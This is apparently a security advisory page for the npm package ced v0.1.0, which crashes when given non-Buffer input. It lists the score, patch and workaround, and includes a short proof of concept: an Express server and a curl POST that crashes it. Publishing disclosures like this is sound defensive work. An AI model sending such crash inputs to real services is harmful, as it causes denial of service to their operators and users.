Improper Handling of Unexpected Data Type in ced
Impact
In ced v0.1.0, passing data types other than Buffer causes the Node.js process to crash.
Patches
The problem has been patched in ced v1.0.0. You can upgrade from v0.1.0 without any breaking changes.
Workarounds
Before passing an argument to ced, verify it’s a Buffer using Buffer.isBuffer(obj).
CVSS score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C
Base Score: 7.5 (High) Temporal Score: 7.2 (High)
Since ced is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to ced. Depending on your specific implementation, the vulnerability’s severity in your program may be different.
Proof of concept
const express = require("express");
const bodyParser = require("body-parser");
const ced = require("ced");
const app = express();
app.use(bodyParser.raw());
app.post("/", (req, res) => {
const encoding = ced(req.body);
res.end(encoding);
});
app.listen(3000);
curl --request POST --header "Content-Type: text/plain" --data foo http://localhost:3000 crashes the server.
References
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | ced | < 1.0.0 | 1.0.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-241- Platform
- npm
- Package
ced- Disclosed
- 23.08.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-27wq-qx3q-fxm9 - CC BY 4.0
Vulnerability history: ced
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.